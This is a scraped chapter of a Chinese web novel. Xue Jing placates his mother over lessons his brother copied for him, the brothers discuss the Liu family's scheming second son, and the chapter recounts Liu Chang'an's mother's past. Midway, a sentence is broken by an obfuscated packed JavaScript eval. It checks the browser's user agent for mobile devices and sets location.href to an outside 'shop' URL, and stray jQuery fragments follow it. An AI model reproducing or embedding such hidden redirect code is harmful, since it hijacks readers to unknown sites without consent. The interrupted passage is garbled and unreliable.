默认冷灰
24号文字
方正启体

17. 柳宅往事

作者:山风好大本书字数:K更新时间:
    薛璟见他娘面色不善,赶紧垂首上前问安:“娘亲,您怎么在这儿坐着?”


    薛母没再如之前一般同他打趣,摆出一副正襟危坐的样子,深吸一口气,问道:“你今儿又去哪儿了?不是说要抄十页书吗?可抄完了?”


    薛璟出门前,硬是把一心想看热闹的薛宁州给按了下来,使唤他帮忙把娘亲要的那十页书给抄了,估摸着这时肯定已经抄完了,于是厚着脸皮回道:“抄得差不多了。”


    他娘睨了他一眼,带了些哀怨问道:“你都不在院中,如何抄得差不多了?”


    薛璟赶忙道:“我出门前抄的,我这就给您去拿!”说罢就要往松风苑去。


    薛母拦住他,拿出手中那一叠纸摆在他面前,问道:“可是这个?”


    薛璟接过那叠纸,翻看了一下。


    那上面写满了歪七扭八大小不一的墨字,论难看程度,与他的字相比不遑多让。


    可他哪能知道是不是呢,他自己也还没见着不是。


    就在这时,他眼角余光瞥见墙角边的一个人影。薛宁州正鬼鬼祟祟探头往这里看,见他眼神扫了过去,又赶紧躲在了墙后。


    薛璟心里有种不好的预感。


    果然,薛母低垂眉目,一副泫然欲泣的样子:“娘想着你抄书辛苦,特地煮了碗甜汤给你送去解乏,却看见宁州在你书房里替你抄书,而你倒好,整个不见了人影。”


    薛璟郁闷。


    薛宁州这个愣货!


    一些上不得台面的事情干得顺,一到正事就不靠谱!就不能把书拿到他自己院里抄吗?!


    还没等他辩驳什么,薛母又苦口婆心地说道:“璟儿,娘亲也是为你好。边关苦寒,又处处危机,娘亲实在舍不得你一辈子都待在那种地方,每每想起就坐卧不安……”


    “若是你能回京入朝,有些学识傍身,总能好些,娘亲也不必日日担忧。而且,你才刚回京没多久,便开始成日不着家了,若是......”


    她没再说下去,但字字句句都透露出一种“你学坏了”的嗔怪,眼里还沁出了些泪。


    薛璟简直要呕血了。


    他可是在挣扎煎熬中做了个重要决定,干了件大事,不但可能挽救将军府于多年后的危难,还可能拯救朝纲免遭倾覆。


    可他不能直接照实说,毕竟有些理由他还说不通。若是同他娘说他重活了一回,他娘怕是要把他交给普济寺的僧人做法了。


    家中阿娘最大,见她掉泪,薛家男人虎躯都要抖三抖。


    薛璟在手忙脚乱中灵机一动,赶紧解释:“娘,我出门是有要事!您不是问我要不要回书院吗?我仔细想了一下,如今我自己念书也念不太明白,所以我专程去找了以前的夫子讨教。就是以前栖霞书院的严夫子,您还记得吗?”


    薛母听他这么说,擦了擦眼角硬挤出的泪花,问道:“当真?”


    “当然是真的,不信您可以差人去问,看看我是不是去了严夫子那儿!”薛璟赶紧保证。


    他的确是去了,也不怕查问。而且话都说到这份儿上,他娘铁定不会再追问。


    果然,薛母这下破涕为笑,丢开手里那叠纸,上前拉住他问:“那可太好了!那他可有同意让你回书院?!”


    薛璟吱唔地回道:“这……他还没说同不同意呢,毕竟我这么多年未读书,怕有些跟不上……”


    “娘这就去请位夫子到家里来教你!”薛母高兴得抬手就要差人去寻。


    薛璟赶紧将她拦住:“不必不必!我明日再去请教夫子便是!他让我日后时时过去,查我功课!”


    这话至少有一半真,离开严宅时,严夫子确实让他日后时时去,不过主要是去探看柳常安。


    薛母自然是把这话全当了真,看着儿子的眼中满是疼惜和骄傲。她摸了摸薛璟的脸,眼中真沁出了些泪:“我们璟儿真是长大了,能干了,也懂事了。”


    她抖了抖嘴唇,没再多说什么煽情的话。男人们都听不得这些。


    于是她擦干泪,笑道:“娘去备些东西,你明日给夫子带去,可不能空手上门,失了礼数。”


    说罢,她便要往库房去。


    薛璟又将她拦了下来:“娘,不必麻烦,我知道夫子喜欢什么,已经备好了。您就放心吧!”


    薛母见他竟然做得如此周全,心下感慨。


    自己这个大儿子愈发可靠了。


    她又叮嘱了几句,便开心地回了后院。


    薛璟笑着看母亲走远后,立刻黑了脸,抓过那叠被丢在案上的纸,急忙去找薛宁州。


    薛宁州也没走远,在西侧游廊边满脸纠结地晃荡着。


    薛璟上前揪了他的领子就往松风苑拖。


    进了院子,他把薛宁州丢在银杏树下的石凳上,劈头盖脸一顿训斥:“你个愣货!你替我抄书在我书房抄做什么?在你自己院里抄不就不会被发现了吗?”


    薛宁州热闹没看着,被逼着抄书,如今还得被训,郁闷地腹诽:好意思说呢,怎么不说你不让我帮你抄就不会被发现了呢。


    不过他没胆子跟他哥直接杠,只小声地委屈道:“我也没想到娘亲会突然过来呀。”


    随后,他又小声问道:“哥,你真要去书院啊?”


    薛璟气得不行,拍了一下他脑袋:“都是你害的!现在不想去也得去了!”


    薛宁州没说话,但内心却有些幸灾乐祸。


    他哥干什么都无敌,就是念书不行,一到背书时就抓耳挠腮像只猴子,看着实在是好玩又解气。


    想到这,他差点控制不住嘴角的笑,赶紧转移话题问道:“诶,哥,柳家大少如何了?”


    说到这个,薛璟更气,睨了他一眼,嘲讽道:“你那个酒肉兄弟可真行,不知哪儿学来的下作手段,联合他娘构陷他兄弟。”


    他虽不知个中详略,但看当时情形,也能猜出必然是柳家二房指使那名下人胡乱构陷柳常安。


    于是他将在柳家发生的事大致说了一番。


    薛宁州听后无语,半晌才道:“我以前听柳二说柳大少腌臜,还以为是真的……”


    虽说是“酒肉兄弟”,那也算得上“兄弟”二字。他以前对柳二构陷柳大少的言语深信不疑,上次香囊一事,他也只当是柳二与恶兄之间无伤大雅的小龃龉。


    而今日一听,柳二分明是想让柳常安身败名裂,甚至置之于死地。


    在柳二孜孜不倦的造谣污蔑下,又有多少人和他一样,会因此在心里唾弃柳常安?


    这个问题,薛家两兄弟心中都有答案。


    高门大户间,这样的事情屡见不鲜,不足为奇,只是发生在身边,才让人真是感到人心凉薄。


    薛宁州浑身闪过一阵恶寒。


    柳二对亲兄长尚且如此,那在背地里对他们这种酒肉兄弟……


    他猛然想起寿宴那日,他哥劝诫他离柳二远些,这会儿越发觉得他哥慧眼如炬有先见之明,随即从石凳上蹿了起来,一掌拍在石桌上,气愤地道:“哥你说得没错,以后我再也不跟这小人来往了!”


    薛璟没说话,轻叹一口气,将他按回石凳上,抬眼看着银杏树随风摇曳的光秃枝桠。


    刚才那一瞬间,他仿佛看见了前世的自己。


    有人天生就习惯长袖善舞,可有人一生也学不会和光同尘。


    将军府的人便是如此。


    于理,这不是坏事。但他前世过于泾渭分明,导致在朝堂中闭目塞听、孤身孑立,最终招致大祸。


    重活一世,他定然不会再重蹈覆辙,但也希望自己这个弟弟也能避他前尘。


    他揉了揉薛宁州的脑袋,笑着道:“你倒是挺嫉恶如仇的。这样挺好,不过记得别明说也别挂脸,他不一定知道你与此事有关。凡事留一线,说不定来日有助益。”


    “哦……”薛宁州似懂非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744262|189805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    懂,虽然觉得这样不够快意恩仇,但也应了下来。


    这事是过了,但还有另一件要事得琢磨。


    薛璟拿起被丢在石桌上的那叠抄满鬼画符的纸,丢回给薛宁州,还上下打量了他几眼,才似笑非笑地道:“行了,回去玩吧,我还得琢磨一下书院的事。”


    薛宁州见他哥没再逼着他抄书,没察觉他温和笑意下的“歹毒”,高高兴兴地拿着那叠废纸走了。


    ***


    第二日,薛璟先到即将开张的铺子里转了一圈,拿了包据说是从闽地来的茶叶就往严夫子家去,气得沈千钧直喊他败家。


    严启升去书院了。


    严夫人一见他,觉得他定是来看柳常安的,热情地引着他往里走,一边走一边说,说昨日柳常安舅父送来不少银钱衣物,说柳常安身子瘦弱如今又雪上加霜,言语间满是心疼不忍。


    柳常安今早已经醒了,正斜靠在床头,看着那柳黄色的香囊套子发呆。


    那是她娘亲留给他唯一贵重的物件。


    柳家二位夫人不和的事情不是什么秘辛。


    当年他父亲柳焕春家贫,进京赶考时遇见了温柔的乔婉容,二人情投意合。


    乔家虽富庶,却是商贾,上不得台面。


    得了个读书的女婿也高兴,因此两相合之下柳乔二人便成了婚,乔家不但资助柳焕春考试,还给他们买了现在的宅邸。


    柳焕春确实也不负众望,高中后入朝为官。


    那时的柳焕春事事克己,也让乔婉容注意官商分离,不可收受贿赂。


    乔婉容知他爱惜羽毛,事事注意,府中上下吃穿用度虽算不得清贫,但都尽可能简朴。


    可没背景的读书人在朝中无人支撑,屡遭排挤,过得十分艰难。


    冷板凳坐了三年后,文人傲骨终于被磨平了棱角。柳焕春学着其他同僚的样子经营起来,才终于入了户部吴尚书的眼,让他平步青云成了户部侍郎,还把自家一个庶女吴窈娘嫁给他做了平妻。


    这庶女虽身份不比嫡女,但出身官家,自然看不起乔氏这个商贾之女,而偏偏对方还是大夫人,自己只能屈居二夫人。


    吴窈娘自然不甘心,多次找柳焕春想要改位份。


    但柳焕春与乔婉容识于微时,相濡以沫多年,即便攀附,也不可能舍弃乔婉容,便以名声为由,都拒绝了。


    吴窈娘只能先按下此事。她虽无名,却有实,在柳府说一不二,柳焕春除了位分之事,其他基本对二夫人言听计从,只能让乔婉容尽量事事忍让。


    后来两位夫人一前一后生了儿子。


    柳常安只比柳二大上两个月,成了大少爷,而自己的儿子又成了二少爷,这让吴窈娘更加怨恨,但凡抓着把柄,便会对大房发作。


    乔婉容教导柳常安要从大局着想,不可怨愤,要谦恭有礼、不可骄纵。


    府中若入了什么名贵器物,都是让二房先挑。柳常安一个嫡子,却只能捡剩下的,身上唯一称得上值钱的,便只有那个柳黄色的云缂香囊。


    娘亲说,柳黄恬静内敛,不张扬,做人亦要如此,这样父亲才会喜欢他。


    于是他只能依言事事谦和,妄图与二房处好关系,得到父亲青睐。


    可他娘没有想过,云缂无论外表再怎么内敛,本身就是极招人觊觎的料子。


    他明明已经很努力,甚至让自己低微到了尘埃里,却还是落得如此下场,柳家还是容不下他。


    大概只有地下的母亲能容得下他了。


    阳光从窗棂照进,让那柳黄似乎晕成了一片金光。


    满心悲凉的柳常安爱不释手地轻抚上那被晕成金黄的云缂。


    这光就像薛昭行一样灿烂夺目、恣意张扬,令他心生艳羡。


    光影闪动。


    一阵脚步声过后,自背光中,那个恣意张扬的人踏光而来,看不清表情,让柳常安惊得睁大了眼睛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)